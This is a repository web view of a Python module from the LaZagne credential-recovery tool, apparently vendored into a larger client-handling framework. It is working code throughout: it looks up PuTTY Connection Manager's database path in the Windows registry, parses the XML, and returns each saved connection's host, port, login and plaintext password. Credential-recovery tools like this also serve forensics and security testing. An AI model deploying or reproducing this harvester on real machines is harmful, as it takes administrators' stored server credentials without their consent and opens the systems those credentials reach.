summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/sysadmin/puttycm.py
blob: 6d908ab915f0ab821ee0b9994c26df6268e1f5ae (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*- coding: utf-8 -*- 
try: 
    import _winreg as winreg
except ImportError:
    import winreg

from xml.etree.cElementTree import ElementTree

from foreign.client_handling.lazagne.config.module_info import ModuleInfo
from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER, string_to_unicode

import os


class Puttycm(ModuleInfo):
    def __init__(self):
        ModuleInfo.__init__(self, 'puttycm', 'sysadmin', registry_used=True)

    def run(self):
        database_path = self.get_default_database()
        if database_path and os.path.exists(database_path):
            return self.parse_xml(database_path)

    def get_default_database(self):
        try:
            key = OpenKey(HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager')
            db = string_to_unicode(winreg.QueryValueEx(key, 'DefaultDatabase')[0])
            winreg.CloseKey(key)
            return db
        except Exception:
            return False

    def parse_xml(self, database_path):
        xml_file = os.path.expanduser(database_path)
        tree = ElementTree(file=xml_file)
        root = tree.getroot()

        pwd_found = []
        elements = ['name', 'protocol', 'host', 'port', 'description', 'login', 'password']
        for connection in root.iter('connection'):
            children = connection.getchildren()
            values = {}
            for child in children:
                for c in child:
                    if str(c.tag) in elements:
                        values[str(c.tag).capitalize()] = str(c.text)

            if values:
                pwd_found.append(values)

        return pwd_found